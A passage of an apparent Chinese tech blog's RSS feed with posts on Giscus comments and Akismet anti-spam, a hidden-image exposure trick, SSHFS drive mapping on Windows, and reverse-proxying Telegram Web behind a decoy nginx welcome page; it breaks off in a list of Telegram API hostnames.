&lt;h1&gt;疑难解答&lt;/h1&gt;
&lt;h3&gt;本服务器&lt;/h3&gt;
&lt;p&gt;无法注册直接点击登录然后通过Github授权即可&lt;/p&gt;
&lt;p&gt;无法登录Github用户名不能为纯数字&lt;/p&gt;
&lt;p&gt;如何更改我的密码Github单点登录无密码您只需要保证您的Github账户不丢失/封禁即可&lt;/p&gt;
&lt;h3&gt;联邦&lt;/h3&gt;
&lt;p&gt;如何加入?:输入 &lt;code&gt;#acofork:m.2x.nz&lt;/code&gt; 即可加入&lt;/p&gt;
&lt;h3&gt;通知&lt;/h3&gt;
&lt;p&gt;安卓如果无法使用 &lt;code&gt;Google通知&lt;/code&gt; 可以尝试安装 https://play.google.com/store/apps/details?id=chat.fluffy.fluffychat 。然后安装Ntfy配置通知 https://github.com/krille-chan/fluffychat/wiki/Push-Notifications-without-Google-Services 。可能需要等一段时间才能自动配置完成&lt;/p&gt;
</content:encoded></item><item><title>为任何站点对接Giscus并且配置反垃圾</title><link>https://blog.acofork.com/posts/giscus-akismet/</link><guid isPermaLink="true">https://blog.acofork.com/posts/giscus-akismet/</guid><description>你是否在寻找一个评论系统而又不想自托管?又饱受垃圾评论的叨扰?</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;配置Giscus&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Giscus使用Github Discussion实现存储用户评论无需自托管&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;首先你需要创建一个 &lt;strong&gt;公开仓库&lt;/strong&gt; (建议新开一个干净的空仓库)&lt;/p&gt;
&lt;p&gt;然后在仓库设置中 &lt;strong&gt;启用&lt;/strong&gt; &lt;code&gt;Discussion&lt;/code&gt; 功能&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-16-36-image.VFYm64Bh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://giscus.app/zh-CN&lt;/p&gt;
&lt;p&gt;首先填写你的仓库,通过检查&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-17-42-image.CYhTDyLn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来的 &lt;code&gt;映射关系&lt;/code&gt; 十分重要!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pathname &lt;strong&gt;(最推荐)&lt;/strong&gt;:假如你的文章路径为 &lt;code&gt;posts/helloworld&lt;/code&gt; 。那么只要你保证这个路径不变,评论和页面就永远匹配&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;url只要你换&lt;strong&gt;域名&lt;/strong&gt;了,评论和页面就无法匹配&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;title只要你换&lt;strong&gt;标题&lt;/strong&gt;了,评论和页面就无法匹配&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-18-21-image.kecZMEAV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分类推荐选择 &lt;strong&gt;公告announcements&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-22-07-image.CkrKwnRv.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;特性按需勾选&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-22-25-image.kkRtrkSW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主题按喜好选择。更改后主题会立即呈现&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-22-57-image.BX0-YkCq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后将这段JS复制放置在你想作为评论区的区块即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-23-41-image.CFrn9mdf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;配置Akismet&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Akismet (Automattic Kismet) 是应用广泛的一个垃圾留言过滤系统,其作者是大名鼎鼎的 WordPress 创始人 Matt MullenwegAkismet 也是 WordPress 默认安装的插件,其使用非常广泛,设计目标便是帮助博客网站来过滤垃圾留言。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注册 &lt;a href=&quot;https://akismet.com/&quot;&gt;akismet.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择 Akismet Personal 订阅将滑块拉到0$,记录得到的 Akismet API Key&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-27-58-image.1hN1slSz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;前往 https://github.com/afoim/giscus-fuwari/blob/main/.github/workflows/akismet-comment-check.yml&lt;/p&gt;
&lt;p&gt;将这个Github Action部署到你的启用了Giscus的仓库&lt;/p&gt;
&lt;p&gt;配置Secret&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AKISMET_API_KEY你的Akismet API Key&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;GH_TOKEN前往 https://github.com/settings/tokens 创建一个具有 &lt;code&gt;repo&lt;/code&gt; &lt;code&gt;write:discussion&lt;/code&gt; &lt;code&gt;user&lt;/code&gt; 权限的Github个人令牌&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-29-06-image.jtztFupm.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;测试反垃圾是否有效,发送内容为 &lt;code&gt;viagra-test-123&lt;/code&gt; 的评论。该评论一定会被当作垃圾评论&lt;/p&gt;
&lt;p&gt;查看Github Action是否做出删评行为&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-12-30-37-image.Dm1M2gBC.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;封禁用户&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有人一直刷屏但是反垃圾未检测到?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;你可以前往该用户个人信息页面手动封禁它&lt;/p&gt;
&lt;p&gt;详见 &lt;a href=&quot;https://docs.github.com/zh/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-personal-account#blocking-a-user-from-their-profile-page&quot;&gt;阻止用户访问您的个人帐户 - GitHub 文档&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;防止新用户刷评&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;如果有人一直开小号刷评?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用 https://github.com/你的用户名/你的仓库/settings/interaction_limits&lt;/p&gt;
&lt;p&gt;配置临时交互限制,这样新用户就无法对您的存储库进行任何操作&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-20-43-06-image.DQ_1cjF7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>平平无奇的一张图,拉高曝光就能显现另一张图?</title><link>https://blog.acofork.com/posts/hideimg/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hideimg/</guid><description>教你制作自己的“光棱坦克”!</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;体验站点&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;https://imghide.2x.nz/&lt;/p&gt;
&lt;p&gt;视频教程: https://www.bilibili.com/video/BV1wdh3zYESe/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;首先将原图嵌入,然后将隐藏图的亮度降至极低,并以棋盘排列嵌入原图&lt;/p&gt;
&lt;p&gt;最终生成的图片呈现一种灰色网格状&lt;/p&gt;
&lt;p&gt;默认只能看到原图,虽然隐藏图信息仍在,但是太黑了,人眼只会把他们当作黑色像素点处理&lt;/p&gt;
&lt;p&gt;当人为提高曝光后,原图过曝,趋于白色,丢失信息&lt;/p&gt;
&lt;p&gt;而隐藏图被拉亮,逐渐可见&lt;/p&gt;
&lt;p&gt;最终原图消失,而隐藏图完全显现&lt;/p&gt;
</content:encoded></item><item><title>将你的Linux硬盘映射到Windows</title><link>https://blog.acofork.com/posts/sshfs/</link><guid isPermaLink="true">https://blog.acofork.com/posts/sshfs/</guid><description>如何像Windows一样管理Linux文件SSHFS来帮你</description><pubDate>Sun, 03 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/winfsp/sshfs-win&quot;&gt;winfsp/sshfs-win: SSHFS For Windows&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载并安装&lt;/p&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://github.com/evsar3/sshfs-win-manager&quot;&gt;evsar3/sshfs-win-manager: A GUI for SSHFS-Win (https://github.com/billziss-gh/sshfs-win)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载并安装&lt;/p&gt;
&lt;p&gt;打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-03-19-19-07-image.B9LiptFK.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果的sshfs-win没有安装在默认位置需要手动指定一下进入 &lt;code&gt;Settings&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-03-19-20-01-image.D7rsE_iR.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来点击 &lt;code&gt;Add Connection&lt;/code&gt; 懂的都懂&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-03-19-20-24-image.DCdQCfrX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;保存后点击连接按钮&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-11-58-52-image.B4jtzmRk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接着你就能在文件资源管理器看到你的盘了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-04-11-59-20-image.9NZs-idW.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>大陆直连TG Web触手可及</title><link>https://blog.acofork.com/posts/proxy-tgweb/</link><guid isPermaLink="true">https://blog.acofork.com/posts/proxy-tgweb/</guid><description>TG Web采用前后端分离前端可以部署到静态托管平台而后端可以用各种服务反代</description><pubDate>Sat, 02 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;注意将该项目直接绑定到你的域名会吃Abuse&lt;/h1&gt;
&lt;p&gt;推荐将 &lt;code&gt;index.html&lt;/code&gt; 重命名。让别人访问根路径无法访问到正常页面即可但不保证永远不会吃Abuse&lt;/p&gt;
&lt;p&gt;然后创建一个新的 &lt;code&gt;index.html&lt;/code&gt; 写入:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Welcome to nginx!&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
body {
width: 35em;
margin: 0 auto;
font-family: Tahoma, Verdana, Arial, sans-serif;
}
&amp;lt;/style&amp;gt;
&amp;lt;style data-id=&quot;immersive-translate-input-injected-css&quot;&amp;gt;.immersive-translate-input {
position: absolute;
top: 0;
right: 0;
left: 0;
bottom: 0;
z-index: 2147483647;
display: flex;
justify-content: center;
align-items: center;
}
.immersive-translate-attach-loading::after {
content: &quot; &quot;;
--loading-color: #f78fb6;
width: 6px;
height: 6px;
border-radius: 50%;
display: block;
margin: 12px auto;
position: relative;
color: white;
left: -100px;
box-sizing: border-box;
animation: immersiveTranslateShadowRolling 1.5s linear infinite;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-2000%, -50%);
z-index: 100;
}
.immersive-translate-loading-spinner {
vertical-align: middle !important;
width: 10px !important;
height: 10px !important;
display: inline-block !important;
margin: 0 4px !important;
border: 2px rgba(221, 244, 255, 0.6) solid !important;
border-top: 2px rgba(0, 0, 0, 0.375) solid !important;
border-left: 2px rgba(0, 0, 0, 0.375) solid !important;
border-radius: 50% !important;
padding: 0 !important;
-webkit-animation: immersive-translate-loading-animation 0.6s infinite linear !important;
animation: immersive-translate-loading-animation 0.6s infinite linear !important;
}
@-webkit-keyframes immersive-translate-loading-animation {
from {
-webkit-transform: rotate(0deg);
}
to {
-webkit-transform: rotate(359deg);
}
}
@keyframes immersive-translate-loading-animation {
from {
transform: rotate(0deg);
}
to {
transform: rotate(359deg);
}
}
.immersive-translate-input-loading {
--loading-color: #f78fb6;
width: 6px;
height: 6px;
border-radius: 50%;
display: block;
margin: 12px auto;
position: relative;
color: white;
left: -100px;
box-sizing: border-box;
animation: immersiveTranslateShadowRolling 1.5s linear infinite;
}
@keyframes immersiveTranslateShadowRolling {
0% {
box-shadow: 0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0),
0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
}
12% {
box-shadow: 100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0),
0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
}
25% {
box-shadow: 110px 0 var(--loading-color), 100px 0 var(--loading-color),
0px 0 rgba(255, 255, 255, 0), 0px 0 rgba(255, 255, 255, 0);
}
36% {
box-shadow: 120px 0 var(--loading-color), 110px 0 var(--loading-color),
100px 0 var(--loading-color), 0px 0 rgba(255, 255, 255, 0);
}
50% {
box-shadow: 130px 0 var(--loading-color), 120px 0 var(--loading-color),
110px 0 var(--loading-color), 100px 0 var(--loading-color);
}
62% {
box-shadow: 200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color),
120px 0 var(--loading-color), 110px 0 var(--loading-color);
}
75% {
box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
130px 0 var(--loading-color), 120px 0 var(--loading-color);
}
87% {
box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
200px 0 rgba(255, 255, 255, 0), 130px 0 var(--loading-color);
}
100% {
box-shadow: 200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0),
200px 0 rgba(255, 255, 255, 0), 200px 0 rgba(255, 255, 255, 0);
}
}
.immersive-translate-toast {
display: flex;
position: fixed;
z-index: 2147483647;
left: 0;
right: 0;
top: 1%;
width: fit-content;
padding: 12px 20px;
margin: auto;
overflow: auto;
background: #fef6f9;
box-shadow: 0px 4px 10px 0px rgba(0, 10, 30, 0.06);
font-size: 15px;
border-radius: 8px;
color: #333;
}
.immersive-translate-toast-content {
display: flex;
flex-direction: row;
align-items: center;
}
.immersive-translate-toast-hidden {
margin: 0 20px 0 72px;
text-decoration: underline;
cursor: pointer;
}
.immersive-translate-toast-close {
color: #666666;
font-size: 20px;
font-weight: bold;
padding: 0 10px;
cursor: pointer;
}
@media screen and (max-width: 768px) {
.immersive-translate-toast {
top: 0;
padding: 12px 0px 0 10px;
}
.immersive-translate-toast-content {
flex-direction: column;
text-align: center;
}
.immersive-translate-toast-hidden {
margin: 10px auto;
}
}
.immersive-translate-modal {
display: none;
position: fixed;
z-index: 2147483647;
left: 0;
top: 0;
width: 100%;
height: 100%;
overflow: auto;
background-color: rgb(0, 0, 0);
background-color: rgba(0, 0, 0, 0.4);
font-size: 15px;
}
.immersive-translate-modal-content {
background-color: #fefefe;
margin: 10% auto;
padding: 40px 24px 24px;
border-radius: 12px;
width: 350px;
font-family: system-ui, -apple-system, &quot;Segoe UI&quot;, &quot;Roboto&quot;, &quot;Ubuntu&quot;,
&quot;Cantarell&quot;, &quot;Noto Sans&quot;, sans-serif, &quot;Apple Color Emoji&quot;, &quot;Segoe UI Emoji&quot;,
&quot;Segoe UI Symbol&quot;, &quot;Noto Color Emoji&quot;;
position: relative;
}
@media screen and (max-width: 768px) {
.immersive-translate-modal-content {
margin: 50% auto !important;
}
}
.immersive-translate-modal .immersive-translate-modal-content-in-input {
max-width: 500px;
}
.immersive-translate-modal-content-in-input .immersive-translate-modal-body {
text-align: left;
max-height: unset;
}
.immersive-translate-modal-title {
text-align: center;
font-size: 16px;
font-weight: 700;
color: #333333;
}
.immersive-translate-modal-body {
text-align: center;
font-size: 14px;
font-weight: 400;
color: #333333;
margin-top: 24px;
}
@media screen and (max-width: 768px) {
.immersive-translate-modal-body {
max-height: 250px;
overflow-y: auto;
}
}
.immersive-translate-close {
color: #666666;
position: absolute;
right: 16px;
top: 16px;
font-size: 20px;
font-weight: bold;
}
.immersive-translate-close:hover,
.immersive-translate-close:focus {
text-decoration: none;
cursor: pointer;
}
.immersive-translate-modal-footer {
display: flex;
justify-content: center;
flex-wrap: wrap;
margin-top: 24px;
}
.immersive-translate-btn {
width: fit-content;
color: #fff;
background-color: #ea4c89;
border: none;
font-size: 14px;
margin: 0 8px;
padding: 9px 30px;
border-radius: 5px;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
transition: background-color 0.3s ease;
}
.immersive-translate-btn-container {
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
gap: 8px;
}
.immersive-translate-btn:hover {
background-color: #f082ac;
}
.immersive-translate-btn:disabled {
opacity: 0.6;
cursor: not-allowed;
}
.immersive-translate-btn:disabled:hover {
background-color: #ea4c89;
}
.immersive-translate-link-btn {
background-color: transparent;
color: #ea4c89;
border: none;
cursor: pointer;
height: 30px;
line-height: 30px;
}
.immersive-translate-cancel-btn {
/* gray color */
background-color: rgb(89, 107, 120);
}
.immersive-translate-cancel-btn:hover {
background-color: hsl(205, 20%, 32%);
}
.immersive-translate-action-btn {
background-color: transparent;
color: #ea4c89;
border: 1px solid #ea4c89;
}
.immersive-translate-btn svg {
margin-right: 5px;
}
.immersive-translate-link {
cursor: pointer;
user-select: none;
-webkit-user-drag: none;
text-decoration: none;
color: #ea4c89;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
}
.immersive-translate-primary-link {
cursor: pointer;
user-select: none;
-webkit-user-drag: none;
text-decoration: none;
color: #ea4c89;
-webkit-tap-highlight-color: rgba(0, 0, 0, 0.1);
}
.immersive-translate-modal input[type=&quot;radio&quot;] {
margin: 0 6px;
cursor: pointer;
}
.immersive-translate-modal label {
cursor: pointer;
}
.immersive-translate-close-action {
position: absolute;
top: 2px;
right: 0px;
cursor: pointer;
}
.imt-image-status {
background-color: rgba(0, 0, 0, 0.5) !important;
display: flex !important;
flex-direction: column !important;
align-items: center !important;
justify-content: center !important;
border-radius: 16px !important;
}
.imt-image-status img,
.imt-image-status svg,
.imt-img-loading {
width: 28px !important;
height: 28px !important;
margin: 0 0 8px 0 !important;
min-height: 28px !important;
min-width: 28px !important;
position: relative !important;
}
.imt-img-loading {
background-image: url(&quot;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADgAAAA4CAMAAACfWMssAAAAtFBMVEUAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////oK74hAAAAPHRSTlMABBMIDyQXHwyBfFdDMSw+OjXCb+5RG51IvV/k0rOqlGRM6KKMhdvNyZBz9MaupmxpWyj437iYd/yJVNZeuUC7AAACt0lEQVRIx53T2XKiUBCA4QYOiyCbiAsuuGBcYtxiYtT3f6/pbqoYHVFO5r+iivpo6DpAWYpqeoFfr9f90DsYAuRSWkFnPO50OgR9PwiCUFcl2GEcx+N/YBh6pvKaefHlUgZd1zVe0NbYcQjGBfzrPE8Xz8aF+71D8gG6DHFPpc4a7xFiCDuhaWgKgGIJQ3d5IMGDrpS4S5KgpIm+en9f6PlAhKby4JwEIxlYJV9h5k5nee9GoxHJ2IDSNB0dwdad1NAxDJ/uXDHYmebdk4PdbkS58CIVHdYSUHTYYRWOJblWSyu2lmy3KNFVJNBhxcuGW4YBVCbYGRZwIooipHsNqjM4FbgOQqQqSKQQU9V8xmi1QlgHqQQ6DDBvRUVCDirs+EzGDGOQTCATgtYTnbCVLgsVgRE0T1QE0qHCFAht2z6dLvJQs3Lo2FQoDxWNUiBhaP4eRgwNkI+dAjVOA/kUrIDwf3CG8NfNOE0eiFotSuo+rBiq8tD9oY4Qzc6YJw99hl1wzpQvD7ef2M8QgnOGJfJw+EltQc+oX2yn907QB22WZcvlUpd143dqQu+8pCJZuGE4xCuPXJqqcs5sNpsI93Rmzym1k4Npk+oD1SH3/a3LOK/JpUBpWfqNySxWzCfNCUITuDG5dtuphrUJ1myeIE9bIsPiKrfqTai5WZxbhtNphYx6GEIHihyGFTI69lje/rxajdh0s0msZ0zYxyPLhYCb1CyHm9Qsd2H37Y3lugVwL9kNh8Ot8cha6fUNQ8nuXi5z9/ExsAO4zQrb/ev1yrCB7lGyQzgYDGuxq1toDN/JGvN+HyWNHKB7zEoK+PX11e12G431erGYzwmytAWU56fkMHY5JJnDRR2eZji3AwtIcrEV8Cojat/BdQ7XOwGV1e1hDjGGjXbdArm8uJZtCH5MbcctVX8A1WpqumJHwckAAAAASUVORK5CYII=&quot;);
background-size: 28px 28px;
animation: image-loading-rotate 1s linear infinite !important;
}
.imt-image-status span {
color: var(--bg-2, #fff) !important;
font-size: 14px !important;
line-height: 14px !important;
font-weight: 500 !important;
font-family: &quot;PingFang SC&quot;, Arial, sans-serif !important;
}
@keyframes image-loading-rotate {
from {
transform: rotate(360deg);
}
to {
transform: rotate(0deg);
}
}
&amp;lt;/style&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Welcome to nginx!&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;For online documentation and support please refer to
&amp;lt;a href=&quot;http://nginx.org/&quot;&amp;gt;nginx.org&amp;lt;/a&amp;gt;.&amp;lt;br&amp;gt;
Commercial support is available at
&amp;lt;a href=&quot;http://nginx.com/&quot;&amp;gt;nginx.com&amp;lt;/a&amp;gt;.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Thank you for using nginx.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;div id=&quot;screenity-ui&quot;&amp;gt;&amp;lt;div class=&quot;screenity-shadow-dom&quot;&amp;gt;&amp;lt;div&amp;gt;&amp;lt;div class=&quot;screenity-scrollbar&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;screenity-scrollbar&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;
#screenity-ui, #screenity-ui div {
background-color: unset;
padding: unset;
width: unset;
box-shadow: unset;
display: unset;
margin: unset;
border-radius: unset;
}
.screenity-outline {
position: absolute;
z-index: 99999999999;
border: 2px solid #3080F8;
outline-offset: -2px;
pointer-events: none;
border-radius: 5px!important;
}
.screenity-blur {
filter: blur(10px)!important;
}
.screenity-shadow-dom * {
transition: unset;
}
.screenity-shadow-dom .TooltipContent {
border-radius: 30px!important;
background-color: #29292F!important;
padding: 10px 15px!important;
font-size: 12px;
margin-bottom: 10px!important;
bottom: 100px;
line-height: 1;
font-family: &apos;Satoshi-Medium&apos;, sans-serif;
z-index: 99999999!important;
color: #FFF;
box-shadow: hsl(206 22% 7% / 35%) 0px 10px 38px -10px, hsl(206 22% 7% / 20%) 0px 10px 20px -15px!important;
user-select: none;
transition: opacity 0.3 ease-in-out;
will-change: transform, opacity;
animation-duration: 400ms;
animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
will-change: transform, opacity;
}
.screenity-shadow-dom .hide-tooltip {
display: none!important;
}
.screenity-shadow-dom .tooltip-tall {
margin-bottom: 20px;
}
.screenity-shadow-dom .tooltip-small {
margin-bottom: 5px;
}
.screenity-shadow-dom .TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;top&apos;] {
animation-name: slideDownAndFade;
}
.screenity-shadow-dom .TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;right&apos;] {
animation-name: slideLeftAndFade;
}
.screenity-shadow-dom.TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;bottom&apos;] {
animation-name: slideUpAndFade;
}
.screenity-shadow-dom.TooltipContent[data-state=&apos;delayed-open&apos;][data-side=&apos;left&apos;] {
animation-name: slideRightAndFade;
}
@keyframes slideUpAndFade {
from {
opacity: 0;
transform: translateY(2px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
@keyframes slideRightAndFade {
from {
opacity: 0;
transform: translateX(-2px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
@keyframes slideDownAndFade {
from {
opacity: 0;
transform: translateY(-2px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
@keyframes slideLeftAndFade {
from {
opacity: 0;
transform: translateX(2px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
#screenity-ui [data-radix-popper-content-wrapper] { z-index: 999999999999!important; }
.screenity-shadow-dom .CanvasContainer {
position: fixed;
pointer-events: all!important;
top: 0px!important;
left: 0px!important;
z-index: 99999999999!important;
}
.screenity-shadow-dom .canvas {
position: fixed;
top: 0px!important;
left: 0px!important;
z-index: 99999999999!important;
background: transparent!important;
}
.screenity-shadow-dom .canvas-container {
top: 0px!important;
left: 0px!important;
z-index: 99999999999;
position: fixed!important;
background: transparent!important;
}
.ScreenityDropdownMenuContent {
z-index: 99999999999!important;
min-width: 200px;
background-color: white;
margin-top: 4px;
margin-right: 8px;
padding-top: 12px;
padding-bottom: 12px;
border-radius: 15px;
z-index: 99999;
font-family: &apos;Satoshi-Medium&apos;, sans-serif;
color: #29292F;
box-shadow: 0px 10px 38px -10px rgba(22, 23, 24, 0.35),
0px 10px 20px -15px rgba(22, 23, 24, 0.2);
animation-duration: 400ms;
animation-timing-function: cubic-bezier(0.16, 1, 0.3, 1);
will-change: transform, opacity;
}
.ScreenityDropdownMenuContent[data-side=&quot;top&quot;] {
animation-name: slideDownAndFade;
}
.ScreenityDropdownMenuContent[data-side=&quot;right&quot;] {
animation-name: slideLeftAndFade;
}
.ScreenityDropdownMenuContent[data-side=&quot;bottom&quot;] {
animation-name: slideUpAndFade;
}
.ScreenityDropdownMenuContent[data-side=&quot;left&quot;] {
animation-name: slideRightAndFade;
}
.ScreenityItemIndicator {
position: absolute;
right: 12px;
width: 18px;
height: 18px;
background: #3080F8;
border-radius: 50%;
display: inline-flex;
align-items: center;
justify-content: center;
}
.ScreenityDropdownMenuItem,
.ScreenityDropdownMenuRadioItem {
font-size: 14px;
line-height: 1;
display: flex;
align-items: center;
height: 40px;
padding: 0 5px;
position: relative;
padding-left: 22px;
padding-right: 22px;
user-select: none;
outline: none;
}
.ScreenityDropdownMenuItem:hover {
background-color: #F6F7FB !important;
cursor: pointer;
}
.ScreenityDropdownMenuItem[data-disabled] {
color: #6E7684; !important;
cursor: not-allowed;
background-color: #F6F7FB !important;
}
@keyframes slideUpAndFade {
from {
opacity: 0;
transform: translateY(2px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
@keyframes slideRightAndFade {
from {
opacity: 0;
transform: translateX(-2px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
@keyframes slideDownAndFade {
from {
opacity: 0;
transform: translateY(-2px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
@keyframes slideLeftAndFade {
from {
opacity: 0;
transform: translateX(2px);
}
to {
opacity: 1;
transform: translateX(0);
}
}
&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;div id=&quot;immersive-translate-popup&quot; style=&quot;all: initial&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-02-18-30-40-75bf069f14b199651db36b1bda015bc2_720.C-ptaoE1.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;TG Web采用前后端分离&lt;/p&gt;
&lt;p&gt;前端为静态资产可以直接部署到Cloudflare Page&lt;/p&gt;
&lt;p&gt;后端有高达10个API反代一下即可&lt;/p&gt;
&lt;p&gt;然后将前端请求的 &lt;code&gt;.web.telegram.org&lt;/code&gt; 改为你的域名即可&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;以 TG Web K举例子&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;TG 后端API共有10个分别为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pluto.web.telegram.org
venus.web.telegram.org
aurora.web.telegram.org
vesta.web.telegram.org
flora.web.telegram.org
pluto-1.web.telegram.org
venus-1.web.telegram.org
aurora-1.web.telegram.org
vesta-1.web.telegram.org
flora-1.web.telegram.org
